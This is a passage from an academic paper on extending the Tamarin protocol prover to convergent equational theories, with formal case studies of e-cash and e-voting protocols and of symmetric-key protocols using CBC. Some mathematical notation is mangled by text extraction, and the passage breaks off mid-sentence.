2.2 Modeling Protocols and Adversaries Using Multiset Rewriting
Rules

We model security protocols using multiset rewriting rules. These rules manip-
ulate multisets of facts. Facts represent the current state of the system and are
built by applying elements of the fact signature ΣFact to terms. Formally, the set
of facts is defined as F = {F (t1, . . . , tn) | ti ∈ TΣOp

(V,N ), F ∈ ΣFact of arity n}.
We partition F into linear and persistent facts: during rewriting linear facts can
only be consumed once; persistent facts can be consumed arbitrarily often. The
set of multisets of facts is denoted by F �. The set of multisets of ground facts is
written G�. The function set(·) converts a multiset into a set.

The system’s state transitions are then given by a set of labeled multiset
rewriting rules. Such rules are given as a tuple (id, l, a, r) where id is a unique
identifier and l, a, and r are multisets of facts. The resulting rule ri is writ-
ten: ri = id : l−−[ a ]→r. We say its name is name(ri) = id, its premises are
prems(ri) = l, its conclusions concs(ri) = r, and its actions acts(ri) = a.
Given a set of multiset rewriting rules R its ground instances are represented as
ginsts(R). We denote by lfacts(l) the multiset of linear facts and by pfacts(l) the
set of persistent facts in l.

The semantics of a set of multiset rewriting rules R are given by a labeled
transition relation →R ⊆ G� × G� × G�, defined by the following step rule, where
S is the current state (a multiset of facts):



122 J. Dreier et al.

ri = id : l−−[ a ]→r ∈E ginsts(R) lfacts(l) ⊆� S pfacts(l) ⊆ S

S
set(a)−−−−→R ((S \� lfacts(l)) ∪� r)

Note that the initial state of a labeled transition system derived from multiset
rewriting rules is the empty multiset of facts ∅. Each transition transforms a
multiset of facts (S) into a new multiset of facts, as described by the rewriting
rule. Additionally, the actions a of the rule are the label of each transition. These
labels are used in our definition of security properties below. We perform mul-
tiset rewriting modulo equations E, so we use ∈E for the rule instance modulo.
Linear facts are consumed upon rewriting according to the multiplicity of their
appearance, so we use multiset inclusion, written ⊆�, to check that all facts in
lfacts(l) occur sufficiently often in S. For persistent facts, we only need to check
that each fact in pfacts(l) occurs in S. The successor state is derived by removing
all consumed linear facts and adding the generated facts.

There is one distinguished (built-in) rule that generates fresh values, called
the fresh rule: Fresh : −−[]→Fr(n). Note that the rule has no premise. This fresh
rule is the only rule that can have a Fr fact in the conclusion. The argument n
represents a fresh value and is unique. We enforce that the values generated by
two separate instances of the fresh rule differ. For details see [30].

An execution e of a protocol, specified by a set of multiset rewriting rules P ,
is the alternating sequence of states (i.e., multisets of facts) and rule instances:

S0, (l1−−[ a1 ]→r1), S1, . . . , Sn−1, (ln−−[ an ]→rn), Sn

such that S0 = ∅, and that for all i ∈ {1, . . . , n} we have (Si−1, (li−−[ ai ]→ri), Si)
is a valid step according to the above step rule. The associated trace is the
sequence of the set of the labels: trace(e) = [set(a1), . . . , set(an)]. We denote
the set of executions of P as exec(P ).

We consider a Dolev-Yao style adversary who has full control over the net-
work and the ability to apply all cryptographic operators. It does so using the
message deduction rules MD below. All messages sent by participants are put
into Out facts and stored in the adversary knowledge K facts, before being sent
to participants as In facts. The adversary can create its own random values and
knows all public values. It can also apply functions from the signature using the
rules in the third line of MD.

MD = { Out(x)−−[]→K(x), K(x)−−[ K(x) ]→In(x),
Fr(x : fr)−−[]→K(x : fr), []−−[]→K(x : pub) }

∪ { K(x1), . . . ,K(xn)−−[]→K(f(x1, . . . , xn)) | f ∈ ΣOp with arity n }
Note that in this message deduction we do not explicitly deal with the equations
modeling the properties of cryptographic operators, as all terms are considered
modulo the equational theory. Note that as an (efficient) representation of an
execution, Tamarin uses (normal) dependency graphs to present and reason
about the protocol and adversary deduction rules that have been applied, and
their relation to each other. We will explain normal dependency graphs later in
more detail.
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Fig. 1. Example execution of (Pbasic ∪ MD).

Example 3. Consider a protocol Pbasic where agent A sends a nonce m on the
network and then receives it, specified using the following rules:

Pbasic =
{

Fr(m)
St(A,m) Out(m)

[Start(m)],
St(A,m) In(m)

[End(m)]
}

Figure 1 gives a sample execution of this protocol as a dependency graph. It
also illustrates how the dependency graph represents the trace and intermediate
states.

2.3 Specifying Security Properties

We consider both trace and indistinguishability properties. Trace properties like
secrecy and agreement are expressed as first-order logic formulas. Formulas intro-
duce variables of an additional sort temp for reasoning about the ordering of
actions and are evaluated on a trace. The atomic formulas and their informal
semantics we consider are

– ⊥: false;
– t1 ≈ t2: t1 and t2 are equal in the equational theory;
– F@i: fact F ∈E tr[i] where i is of sort temp and tr[i] is the ith element of the

trace tr on which we evaluate the formula;
– i

.= j: timepoints i and j are equal;
– i � j: timepoints i occurs before timepoint j.
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For a detailed definition of the semantics and the fragment of first order logic
that the Tamarin prover accepts, we refer the reader to [30]. We write tr |= ϕ
when ϕ holds on trace tr and lift the semantics to sets of traces: given a set of
traces Tr we write Tr |=∀ ϕ if tr |= ϕ for any tr ∈ Tr and Tr |=∃ ϕ if tr |= ϕ
for some tr ∈ Tr.

We specify unlinkability, anonymity, and more generally equivalence proper-
ties by use of diff -terms (defining bi-systems, i.e., two systems differing only in
some terms) and check their observational equivalence, see [6].

Example 4 ([6], Ex. 10). An equational theory representing probabilistic encryp-
tion is pdec(penc(m, pk(k), r), k) = m. This equation gives rise to the decryption
rule for probabilistic encryption for the adversary which Tamarin automatically
generates:

Dpenc : K(penc(m, pk(k), r)),K(k)−−[]→K(m) .

Consider now the following bi-system:

S = { GEN : Fr(k)−−[]→Key(k),Out(pk(k))
ENC : Key(k),Fr(r1),Fr(r2), In(x)−−[]→

Out(diff[r1, penc(x, pk(k), r2)])} .

Here Tamarin will compare the system where diff[r1, penc(x, pk(k), r2)] is
replaced by r1 to the system where it is replaced by penc(x, pk(k), r2). If the
adversary cannot distinguish both systems, they are said to be observationally
equivalent. In this example, this means that he cannot distinguish a probabilistic
encryption from a random value.

3 Beyond Subterm-Convergent Equational Theories

Example 2 illustrated that subterm-convergent theories are often insufficient to
deal with the classical specifications of complex cryptographic operators. In this
section we will explain how to extend the Tamarin prover to work with more
than subterm-convergent equational theories. To do that, we need to explain
the way that normal message deduction rules are computed for the extension.
We start by recalling how the Tamarin prover handled the case of subterm-
convergent equational theories before our extension.

3.1 Subterm-Convergent Equational Theories

Even for simple subterm-convergent theories containing only the pairing function
〈·, ·〉 and the fst and snd operators, we can see directly that non-normalized
dependency graphs are not sufficient to automate the analysis of traces. For
example, consider the case where the adversary deduces the first element a of a
pair 〈a, b〉 by applying the function fst(·), then pairs it with an element c, and
then deduces a from the new pair to next build the pair 〈a, d〉 (visualized in the
left-most graph of Fig. 2 – note that the topmost rule is actually an instance of



Beyond Subterm-Convergent Equational Theories 125

the function application rule for fst(·) where the conclusion fst(〈a, d〉) reduced to
a according to the equational theory). This is a legal dependency graph, but very
much redundant, as the steps containing c could have been skipped. As this can
be resolved in just one step we are in general interested in normal dependency
graphs that exclude useless steps. Moreover, this kind of unnecessary derivation
could continue indefinitely with arbitrary extra steps in between.

Construction and Deconstruction Rules. To improve efficiency and avoid
the aforementioned redundancy, we make the equational theory explicit by divid-
ing the adversary rules into two categories: construction rules and deconstruction
rules. Deconstruction rules correspond to equations and are used by the adver-
sary just after protocol rules to deduce messages from what has been sent on
the network. Construction rules are, conversely, used to build messages from the
knowledge of the adversary that are then sent on the network. To achieve this,
we equip adversary knowledge K facts with an orientation, up and down, denoted
K↑ and K↓. Deconstruction rules have premises with both K↓ and K↑ facts (as,
e.g., decrypting a ciphertext that was received requires knowing the key) and
a conclusion with a K↓ fact. Construction rules, conversely, have premises with
only K↑ facts and their conclusion is a K↑ fact as well. To match the purpose of
construction and deconstruction rules, the new Out rule has a K↓ fact as con-
clusion, while the In rule has K↑ facts as premise. The transition from K↓ to K↑

is achieved by a special rule with label “Coerce”, see below, but no direct con-
version from K↑ to K↓ is possible to prevent loops. This enforces deconstruction
rules to be used before construction rules.

In the context of a subterm-convergent theory ST , the idea is to consider a
construction rule for every operator in ΣST , and deconstruction rules for each
rewriting rule (induced by an ordered equality). The process for deriving decon-
struction rules will be explained later. Additionally, we add construction rules
for fresh and public name generation.

We give the minimal set of normal deduction rules (included in all subsequent
normal deduction rule sets in this work) parametric on the set of operators Σ,
including the usual pairing and unpairing operators:

NDΣ =

⎧
⎪⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎪⎩

Out(x)
K↓(x)

K↑(x)
In(x)

[K(x)] Coerce :
K↓(x)
K↑(x)

Fr(x : fr)
K↑(x : fr) K↑(x : pub)

K↓(〈x, y〉)
K↓(x)

K↓(〈x, y〉)
K↓(y)

K↑(x1) . . . K↑(xk)
K↑(f(x1, . . . , xk))

for all f ∈ Σ

⎫
⎪⎪⎪⎪⎪⎪⎪⎬

⎪⎪⎪⎪⎪⎪⎪⎭

Example 5. Let us consider the theory for asymmetric encryption called ASE
which we define with the following subterm-convergent theory that includes
an operator pk to derive the public key from a private key and equation:
adec(aenc(m, pk(k)), k) = m.
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Fig. 2. Message deduction graphs for pairing: the left represents a redundant depen-
dency graph, the middle an impossible deduction with ordered K-facts, and the right
shows a shorter deduction with final conclusion equivalent to the left.

The resulting set of normal message deduction rules is

NDASE =

{
K↓(aenc(m, pk(k))) K↑(k)

K↓(m)

}

∪ NDΣASE .

We see that the deconstruction rule for decryption has K↑ and K↓ facts in its
premises.

With such rules, the adversary avoids cases of redundancy as shown in Fig. 2. For
the full detail of computing the normal deduction rules we refer the reader to [29]
but present its high-level motivation here. For a subterm-convergent rewriting
system, a method to compute deconstruction rules is the following. Consider a
subterm rewriting rule l → r where r is not a ground term. Since it is a subterm
rewriting rule, there is a position p in l such that l|p = r. Then, for each position
p′ �= [] strictly above p, we compute a deconstruction rule for which the term
l|p′ is in a K↓ fact and the terms l|p̃, where p̃ has a sibling equal or above p′, are
required in a K↑ fact.

Example 6. Consider the rewriting rule a(b(c(x, y), 1), y) → x. The only position
p of l such that l|p = r is [1, 1, 1], so there are two positions strictly above p and
different from [], namely p′1 = [1, 1] and p′2 = [1]. For p′1, we have p̃1 = [2] and
p̃2 = [1, 2] as positions which have a sibling above or equal to p′1. For p′2, we have
only p̃1 = [2] as position which has a sibling above or equal to p′2. We visualize
this in Fig. 3.

Thus, the two associated deconstruction rules are:

[K↓(c(x, y)), K↑(1), K↑(y)]−[]→ [K↓(x)] and [K↓(b(c(x, y), 1)), K↑(y)]−[]→ [K↓(x)].
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Fig. 3. Different possible positions of K-facts for deconstruction rules associated with
a(b(c(x, y), 1), y) → x.

Generally, for each position p such that l|p = r, we use the function ctxtdrules
extended from the one in [29] to compute the corresponding deconstruction rules,
where cprems(l, p′) determines the sequence of K↑ premises:

ctxtdrules(l, p, r) =
{[K↓(l|p′)] · cprems(l, p′) −[]→ [K↓(r)]| p′ strictly above p and p′ �= []},

cprems(l, p′) = seq({K↑(l|p̃)| p̃ �= [] ∧ p̃ has a sibling above or equal to p′})

where seq converts sets to sequences. Clearly the deconstruction rules from
NDASE match this construction. We will relax the requirement that r = l|p
for this rule later.

Normal message deduction for non-orientable theories. We combine this with
the built-in non-orientable (NO) theory of bilinear pairing (BP), which includes
Diffie-Hellman (DH) exponentiation (see [29] for details). We refer by ACC to
the underlying equational axioms of associativity and commutativity for multi-
plication, bilinear pairing, and multisets as used in DH and BP. Note that we
suppose that the user-defined theory is disjoint from DH, BP, and ACC. We
denote by dgraphs(P ) the set of all dependency graphs of P . For each depen-
dency graph d we define its trace, called trace(d), as the list of the sets of the
actions of the linearization of rule instances in d (see Fig. 1). We say that a fact is
in a conclusion in a dependency graph if it appears in the conclusion of any rule
instance in the dependency graph, similarly for the premises. As proven in [30]
as Lemma 4 we have trace(exec(P )) =E {trace(dg)|dg ∈ dgraphsE(P ∪ MD)}.

Normal Dependency Graphs. We integrate the concept of normal message
deduction with construction and deconstruction rules and dependency graphs.
This yields eleven normal form conditions to be enforced on dependency graphs,
called N1-N11, and detailed in the technical report [17]. We use RBP to refer
to the rules resulting from the built-in bilinear pairing theory.

Definition 1. A normal dependency graph for a set of protocol rules P is a
dependency graph dg such that dg ∈ dgraphs(�P �RBP

insts ∪ ND) and the conditions
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N1-N11 are satisfied. We denote the set of all normal dependency graphs for P
with ndgraphs(P ).

Let tr denote the subsequence, called observable trace, of all actions in a trace
tr that are not equal to ∅. We have the following proposition which states that
executions modulo the equational theory and normal dependency graphs have
the same observable traces:

Proposition 1 [29, Corollary 3.20 ]. For all sets P of protocol rules,

trace(execs(P ∪ MD)) ↓RBP =ACC trace(ndgraphs(P )).

Note that by relying on the observable trace we hide the adversary’s deduction
steps on both sides, but ensure that security properties (defined on actions) are
carried over correctly. This proposition shows that by ordering the K-facts the
adversary does not lose any power, and that we can simplify the deduction using
the finite variant property.

3.2 Convergent Equational Theories

Now that we have shown that we can use normal dependency graphs for proto-
cols involving a subterm-convergent theory, we will extend this for convergent
theories with the FVP. Let CT be such a theory, and RCT the rules l → r
induced by its equations.

Remark 1. For all convergent rules l → r there are k and p1, . . . , pk such that
r ∈ TΣCT (l|p1 , . . . , l|pk

). This is due to the right-hand side not introducing new
variables.

As running example, we take the blind signature theory BS introduced in Exam-
ple 2, which is used in Chaum’s online protocol for e-cash, and in the FOO and
Okamoto protocols for e-voting that we will study in our case studies in Sect. 4.

Example 7. Continuing Example 2 we know that the blind signature permits to
sign a blinded message with a secret key and then to unblind the signed blinded
message to get the signed message without the blinding. This primitive can be
modeled as follows:

ΣBS =
{

blind( , ), unblind( , ), sign( , ), checksign( , ),
fst( ), snd( ), 〈 , 〉, pk( )

}

, and

RBS =

⎧
⎨

⎩

unblind(blind(m, r), r) → m, checksign(sign(m, k), pk(k)) → m,
unblind(sign(blind(m, r), k), r) → sign(m, k),

fst(〈x, y〉) → x, snd(〈x, y〉) → y

⎫
⎬

⎭
.

The first rule models that blinding and then unblinding a message with the same
key gives back the initial message, similar to symmetric encryption. The second
rule extracts and verifies the message under a signature, as the signature is not
supposed to hide the message. The third one is not a subterm rule and has been
explained previously. The last two rules are the usual ones for projection on
pairs.
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To be as general as possible, we consider the combination of the existing built-
in Diffie-Hellman (DH) and bilinear pairing (BP) theories (note that DH is
included in BP) and allow for disjoint user-defined extensions based on conver-
gent rules. Previously, only subterm-convergent theories could be added to DH
and BP. So we consider RCT ′ = RCT ∪ RBP and the equational theory (where
(·)� turns the rule into an equality)

CT ′ = (ΣCT ∪ ΣBP ,R�
CT ∪ R�

BP).

We observe that key lemmas for BP, namely [29, Lemmas 3.10 and 3.11], still
hold for CT ′ since the subterm convergence property is not needed in their
respective proofs.

The set of message deduction rules MD is defined as given in Sect. 2. To
motivate why we derive normal deconstruction rules for convergent equational
theories the way we do later, we use the following lemma adapted from [29]. It
will also be helpful in the proof of our main theorem later. The lemma describes
that the adversary can always convert a K↓ fact into a K↑ fact using the coerce
rule. We call a deduction extension a dependency graph that has same the trace,
state facts, and fresh values as the initial dependency graph, but can include
additional intruder deduction rule instances (see the technical report [17] for
details).

Lemma 1 [29, Lemma A.15 ]. For all ndg ∈ ndgraphs(P ) and conclusion facts
K↓(m), there is a deduction extension ndg′ with a conclusion fact K↑(m′) with
m =ACC m′.

We now define common subterms for use in adversary deduction rule derivation.

Definition 2. A common subterm t of a rewriting rule l → r is a term such
that there are p and q such that t = l|p = r|q.

A common maximal subterm t of a rewriting rule l → r is a common subterm
of l → r such that there is no common subterm t′ �= t such that t is a subterm
of t′.

For a given rewriting rule l → r where vars(r) �= ∅, and for which there is a
common maximal subterm l|p, we use the function ctxtdrules to compute the
corresponding deconstruction rules. The set of deconstruction rules is given by:

Ctxtdrules(l, r) =
⋃

p∈P (l,r)

ctxtdrules(l, p, r)

where P (l, r) = {p | ∃q, l|p = r|q, and l|p = r|q is a maximal common subterm}.
The set DRCT of deconstruction rules for CT is:

DRCT =
⋃

(l,r)∈RCT

Ctxtdrules(l, r)

Thus, we get the set of normal deduction rules NDCT = NDΣCT ∪ DRCT .
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Example 8. We apply this to the blind signature rewriting rule

unblind(sign(blind(m, r), k), r) → sign(m, k).

We have m and k as common maximal subterms on respective positions [1, 1, 1]
and [1, 2]. Then we consider the following deconstruction rules:

ctxtdrules(l, [1, 1, 1], r) =
{

K↓(blind(m, r)) K↑(k) K↑(r)
K↓(sign(m, k))

,
K↓(sign(blind(m, r), k)) K↑(r)

K↓(sign(m, k))

}

,

ctxtdrules(l, [1, 2], r) =

{
K↓(sign(blind(m, r), k)) K↑(r)

K↓(sign(m, k))

}

.

As two of the three deconstruction rules are identical, we thus get two rules,
and Ctxtdrules(l, {[1, 1, 1], [1, 2]}, r) = ctxtdrules(l, [1, 1, 1], r). We show the set
NDBS of normal deduction message rules for BS, which contains NDΣBS and
these rules:

⎧
⎪⎪⎪⎪⎪⎪⎪⎨

⎪⎪⎪⎪⎪⎪⎪⎩

K↓(blind(m, r)) K↑(r)
K↓(m)

,
K↓(sign(m, k)) K↑(pk(k))

K↓(m)

K↓(blind(m, r)) K↑(k) K↑(r)
K↓(sign(m, k))

,
K↓(sign(blind(m, r), k)) K↑(r)

K↓(sign(m, k))

⎫
⎪⎪⎪⎪⎪⎪⎪⎬

⎪⎪⎪⎪⎪⎪⎪⎭

For an extended example, see the technical report [17].

3.3 Further Restrictions – Normal Form Conditions

The need for additional normal-form conditions will become apparent with the
following example using the equational theory for trapdoor commitments, needed
for instance in Okamoto’s voting protocol [26]. Trapdoor commitments are com-
mitments that can be opened to return a different value than the one initially
committed, using a special trapdoor. This is used to create fake receipts (see
Sect. 4.3). To model the algebraic properties of trapdoor commitments, we use
the equational presentation BST DC0 = (ΣBST DC ,R�

BST DC0
) where

ΣBST DC = ΣBS ∪ {tdcommit( , , ), open( , ), f( , , , )}
and the rules are

RBST DC0 = RBS ∪
{

open(tdcommit(m, r, td), r) → m,
tdcommit(m2, f(m1, r, td,m2), td) → tdcommit(m1, r, td)

}
.

Note that the second equation is not subterm convergent as tdcommit(m1, r, td)
is not a subterm of tdcommit(m2, f(m1, r, td,m2), td). Equations in R�

BST DC0
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model that the voter is able to replace m2 by m1 in his commitment, which is
crucial to achieve the receipt-freeness property. Simply orienting the equations
in R�

BST DC0
yields a non confluent rewrite system though. Instead, we extend it

to obtain a convergent system:

RBST DC = RBST DC0 ∪
{

open(tdcommit(m1, r, td), f(m1, r, td,m2)) → m2,
f(m1, f(m, r, td,m1), td,m2) → f(m, r, td,m2)

}

.

Again, the last equation is not subterm convergent. We then compute the normal
deconstruction rules as specified before. One of the resulting normal deconstruc-
tion rules is as follows and essentially shows that when one knows the previous
content m1 and the trapdoor td, one can replace the content by m2:

K↓(f(m, r, td,m1)) K↑(m1) K↑(td) K↑(m2)
K↓(f(m, r, td,m2))

We see that applying this rule naively again and again can lead to an infinite
loop, the start of which is shown in Fig. 4. Even though nothing changes except
for the adversary-injected last argument, this leads to a looping behavior which
we address next. The problem is that the conclusion K↓ term unifies with the
premise K↓ term.

Normal Form Conditions to Prevent Loops. As we have seen, convergent
equational theories give rise to a special case where we need to add a new normal
form condition to help termination. For an equation l = r, the right-hand side
r of the equation may be unifiable with a strict subterm l|p, p �= [] of the left-
hand side. This can also occur in the subterm-convergent case, but there we have
equality of l|p = r, and an existing normal-form condition forbidding to derive
the same adversary knowledge more than once (N3, see the technical report [17])
effectively prevents this problem.

In terms of adversary deduction (i.e., deconstruction rules) the above example
of the trapdoor commitment shows that the right-hand K↓ term is unifiable with
the left-hand K↓ term. This then leads to the infinite chain illustrated in Fig. 4.

Fig. 4. Loop using f .
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The normal form condition to not derive the same term repeatedly does not
apply, as the adversary adds in a different value each time. For the convergent
theory case where such unification is possible the resulting derivation rule can
thus be repeatedly applied as the derived knowledge does indeed change each
time because l|p �= r. As one can see in the example, one does not actually need
to apply the rule repeatedly to its intermediate results, but can rather apply it to
the original term with different premises to get the same final result in one step.
Thus we will now explain and prove that no chain (beyond a certain length) of
applications of this rule are needed in general.

As the given convergent equational theory is by definition required to be
terminating, there is a limit n for how often one needs to apply this rule in
general. A conservative bound for n is the number of subterms of l|p. Intuitively,
with each application, some part of the original content of the term must be
removed (due to termination), and if this has been done n times, no original
subterm (of the initial term before applying this rule the first time) remains,
and all the subterms are known to the adversary as K↑ terms. Thus, instead of
using this deconstruction rule, the adversary can simply use the construction
rule for the root symbol and apply it to all the known subterms in the result of
the deconstruction rule chain.

Example 9. Let us show with a simple example that this bound is really needed.
For the equational theory with two function symbols h/2 and f/3 and the single
equation:

h(f(x1, x2, x3), z) = f(x2, x3, z)

we get one deconstruction rule:

K↓(f(x1, x2, x3)) K↑(z)
K↓(f(x2, x3, z))

For this rule the conclusion K↓-term obviously unifies with that in the premises.
Now if the adversary receives f(a, b, c) intuitively it should be possible to derive
f(c, x, y), for some x, y of the adversary’s choosing, but using just one application
of the deconstruction rule this is not possible. If we permit two applications on
the other hand, it can be derived as expected.

Note that in the previous example, we can give f an arbitrary number of argu-
ments and the form of the deconstruction rule will stay the same, so we need to
permit the use of the deconstruction rule up to n − 1 times, for n the number
of strict subterms of the K↓-term of the premises. Note that this number is of
course fixed by the input equational theory and can thus be easily computed.1

This leads us to define a new normal form condition:

Definition 3 N12. There is no chain of nodes repeatedly instantiating a rule
of the form K↓(l|p),K↑(t1), . . . ,K↑(ti)−−[]→K↓(r) of length at least equal to the
number of subterms of l|p, if l|p and r are unifiable.
1 For private function symbols the deconstruction rule must be usable up to n times,

as there is no corresponding construction rule.



Beyond Subterm-Convergent Equational Theories 133

This limits the length of chains of derivation with such rules as motivated above.
Do note that for the case of equality, i.e., r = l|p, this does not add a restriction
as there the condition “to not derive the same term more than once” is already
in effect.

Note that in general we cannot guarantee termination for the intruder deduc-
tion as even for the class of optimally reducing convergent rewrite systems (which
have the finite variant property) the deducibility problem is undecidable [2].

We next present the key theorem that states that the traces of dependency
graphs modulo the equational theory and normal dependency graphs do actually
coincide. This is an extension of the version for subterm-convergent theories [29,
Lemma 3.19] to the convergent case:

Theorem 1. For all sets P of protocol rules,

{trace(dg) | dg ∈ dgraphs(�P ∪ MD�CT ′
insts) ∧ dg ↓CT ′ -normal} =

trace(ndgraphs(P )).

We give the full proof in the technical report [17], and present a short sketch
highlighting the key points here.

Proof (Sketch). We need to show that the traces of the normal and non-normal
dependency graphs coincide. As protocol rules can be used for dependency graphs
and normal dependency graphs, the interesting part is the message deduction.
Moreover, send and receive rules are available in both, so we have to analyze the
construction and deconstruction rules.

For construction rules, there is always a normal version available due to
Lemma 1 which allows us to obtain all knowledge in K↑ format. The remaining
case is the one where the output of the rule requires use of the equational theory,
and here we focus on the deconstruction rules for convergent equations as all
other rules are covered by the old proof from [29]. Here, generalizing the old
proof, we can rely on a lemma stating that for any unknown subterm there is
a position above, such that the subterm at that position appears as a K↓-fact,
allowing us to apply our new deconstruction rules.

For the new restriction N12 the interesting case is when a derivation is
possible in the regular dependency graph by using the deconstruction rule n
times (n being the number of strict subterms), which is forbidden in the normal
dependency graph. Our key observation is that the result of n derivations with
such a deconstruction rule can be created by applying a construction rule for the
operator as all subterms are known in K↑ by the deconstruction rule structure.

4 Case Studies

The new version of Tamarin together with the code used for the case studies is
available on github [31, case studies in examples/post17/].
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4.1 Chaum’s Online e-Cash Protocol

Chaum’s Online e-cash protocol allows a client to withdraw a coin blindly from
the bank, and then spend it later in a payment without being traced even by
the bank. The protocol is “on-line” in the sense that the seller does not accept
the payment before contacting the bank to verify that the coin has not been
deposited before, to prevent double spending [11].

We have three roles, the client C, the bank B and the seller S. In a first
phase, the withdrawal phase, the client C blinds a coin x and sends it to the
bank B. The bank deducts the money from the client’s account, signs blindly
the coin and sends the signature to the client. Then, in a second phase, the client
unblinds the signature, and sends the coin x and the signature of x to the seller
S who checks if the signature is correct. Then it sends the coin to the bank,
which responds on a private channel with payment approval if the coin had not
been deposited. Then the seller accepts the coin.

C −→ B : blind(x, r)
B −→ C : sign(blind(x, r), skB)
C −→ S : 〈x, sign(x, skB)〉
S −→ B : 〈x, sign(x, skB)〉
B −−−→

priv
S : x

We use the equational theory for blind signatures from Example 2.

Unforgeability. Unforgeability ensures that, in an e-cash protocol, a client is
unable to create a coin without involving the bank, resulting in a fake coin,
or to spend a valid coin he withdrew from the bank twice [18]. We express
unforgeability as follows:

∀j,x.Spend(x)@j ⇒ (∃i.Withdraw(x)@i ∧ i � j ∧ ¬(∃l.Spend(x)@l ∧ l � .= j))

When verifying the protocol Tamarin returns an attack that allows the client
to withdraw multiple coins if the bank does not verify the correct format of
the coin. This works as follows: the client submits blind(blind(x, r1), r2) to the
bank, which signs it. The client obtains a first valid coin sign(blind(x, r1), skB)
by unblinding once, and a second coin sign(x, skB) by unblinding again. He can
spend both of them, although he should only have one valid coin. This attack can
be prevented by the bank verifying the correct format of the coin before signing
it. A similar problem arises when the seller receives a coin. After correcting
both issues, Tamarin manages to prove unforgeability, which was previously
not possible in ProVerif [18] due to problems in modeling the state of the
bank, which needs to keep track of all previously spent coins.

Anonymity and Untraceability. Anonymity and untraceability (called Weak
and Strong Anonymity in [18]) are defined as observational equivalence proper-
ties. To define anonymity, we consider two clients C1 and C2 and the case where
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both of them withdraw a coin from the same bank, but only one of them makes
a purchase. Anonymity is the property guaranteeing that neither the bank nor
the seller are able to distinguish the case where C1 makes the purchase from the
case where it is C2 who makes it.

For untraceability, we also consider two clients C1 and C2 and the case where
both of them withdraw two coins and both spend the first coin, but only one of
them makes a second purchase. Untraceability guarantees that neither the bank
nor the seller are able to know whether C1 or C2 makes the second purchase.

To ensure anonymity, we have to add a synchronization point to synchronize
both clients after the coin withdrawal, as the adversary can otherwise trace one
of them. In that case, Tamarin can prove both anonymity and untraceability.

4.2 The FOO Voting Protocol

The FOO (for Fujioka, Okamoto and Otha) voting protocol [21] allows a voter
to publish a vote signed by the administration without being identified, even by
the administrator. The protocol is designed to ensure that each published vote
has been signed by the administrator guaranteeing eligibility, and at the same
time ensuring anonymity of the voter even with respect to the administrator.

We consider three roles, the voter V , the administrator A, and the collector
C. The protocol is split into three phases.

– In the first phase the administrator signs the voter’s commitment to his vote:
voter V chooses his vote v and computes a commitment x = commit(v, r) for a
random key r. He blinds the commitment using a random value b and obtains
e = blind(x, b). Then he signs e and sends the signature sbV = sign(e, ltkV )
together with e and his identity to the administrator. The administrator checks
if V has the right to vote and has not yet voted, and if the signature sbV is
correct. If all tests succeed, he signs sbA = sign(e, ltkA) and sends it back to
V . V checks the signature, and unblinds it to obtain sA = unblind(sbA, b) =
sign(x, ltkA).

– In the second phase, the voter submits his ballot: voter V sends (x, sA) to the
collector C through an anonymous channel. The collector checks the admin-
istrator’s signature and enters (x, sA) as the l-th entry into a list.

– When all ballots are cast the counting phase begins: the collector publishes
the list of correct ballots. V verifies that his commitment appears on the list
and sends (l, r) to C using an anonymous channel. The collector C opens the
l-th ballot using r and publishes the vote.

To model commitments, we use the equational theory BSC = (ΣBSC ,R�
BSC)

where ΣBSC = ΣBS ∪ {commit( , ), open( , )} and

RBSC = RBS ∪ {open(commit(m, r), r) → m}.
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Eligibility. Eligibility ensures that, if a vote is published by the collector, then
its commitment has been signed by the administration, denoted by the Registered
action. This is expressed as follows, and automatically verified by Tamarin:

∀v, j.VotePublished(v)@j ⇒
(∃b, r, i.Registered(blind(commit(v, r), b))@i ∧ i � j)

Vote Privacy. Following [16], to define vote privacy, we consider two voters V1

and V2 and the case where both of them commit a different vote, for example yes
and no. Vote privacy is the property guaranteeing that neither the administrator
nor the collector can distinguish the case where V1 votes for yes from the case
where he votes for no (and V2 votes no or yes, so that there is one vote for yes
and one for no in both cases) [16]. Again, we need to add synchronization to
prevent trivial attacks, but then Tamarin verifies observational equivalence for
FOO.

4.3 The Okamoto Protocol

The Okamoto protocol [26] is similar to the FOO protocol, but it uses trapdoor
commitments and it involves a timeliness member (i.e., a trusted third party) to
achieve Receipt-Freeness. Receipt-Freeness means that a voter cannot construct
a receipt proving to somebody else that he voted for a certain candidate, in order
to prevent vote-buying.

The protocol works a follows. The first phase, during which the voter obtains
a signature on his commitment x, is the same as for the FOO protocol, except
that x is a trapdoor commitment.

– In the second phase the vote is submitted; the voter V sends the signed trap-
door commitment to the collector through an anonymous channel. The col-
lector checks the administrator’s signature and enters (x, sA) into a list. The
voter sends (v, r, x) to the timeliness member T through a secure anonymous
channel.

– When all ballots are cast the counting phase begins: the collector publishes
the list of correct ballots. V verifies that his commitment appears on the list.
The timeliness member publishes the randomly shuffled list of votes.

To model the algebraic properties of trapdoor commitments, we use again the
signature RBST DC defined in Sect. 3.3. We can show eligibility using the same
property as for FOO, and Tamarin succeeds in proving the property. We can
also show vote privacy using the same approach as for FOO.

Receipt-Freeness. Following [16], to model receipt-freeness, we compare a case
where a voter V1 votes yes and honestly sends all his secret values (the blinding
factor, the trapdoor, his secret keys, and so on) as a receipt, to the case where
he votes no and sends fake values instead. If an adversary cannot distinguish
both cases, then the voter cannot produce a meaningful receipt.
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In case of the Okamoto protocol, the trapdoor allows the voter to open his
commit differently to fool the adversary. In the first case, he reveals his vote
yes, his blinding factor r, the trapdoor td and his secret signing key ltkV (used
in his first message to the administrator). In the second case, he still reveals
yes (although he voted no), a newly generated blinding factor f(no, r, td, yes)
(instead of r), the trapdoor td and his secret signing key ltkV . In both cases, we
have that

open(tdcommit(yes, r, td), r, td) = yes

= open(tdcommit(no, r, td), f(no, r, td, yes), td)

thus to the adversary it looks like the voter voted yes in both cases.
With our extension and the new normal form condition, Tamarin proves that

both cases are observationally equivalent, showing that the Okamoto protocol
guarantees receipt-freeness.

4.4 Prefix Property: Denning-Sacco and Needham-Schroeder
Protocols

The prefix property models the fact that in certain cryptographic schemes (like
CBC) one can extract from encrypted messages their encrypted prefix: given the
ciphertext enc(〈x, y〉, k), one can deduce its prefix enc(x, k). For more details
see [14].

Using this property, a confusion attack exists for the Denning-Sacco sym-
metric key protocol with CBC and the key secrecy is violated for the Needham-
Schroeder symmetric key protocol with CBC. These are known attacks, but they
can now be automatically exhibited with Tamarin. As the equational theory for
prefix extraction (see Eq. (1)) is not subterm-convergent, these protocols could
not have been analyzed without our new extension.

The equational theory under consideration is that of symmetric encryption
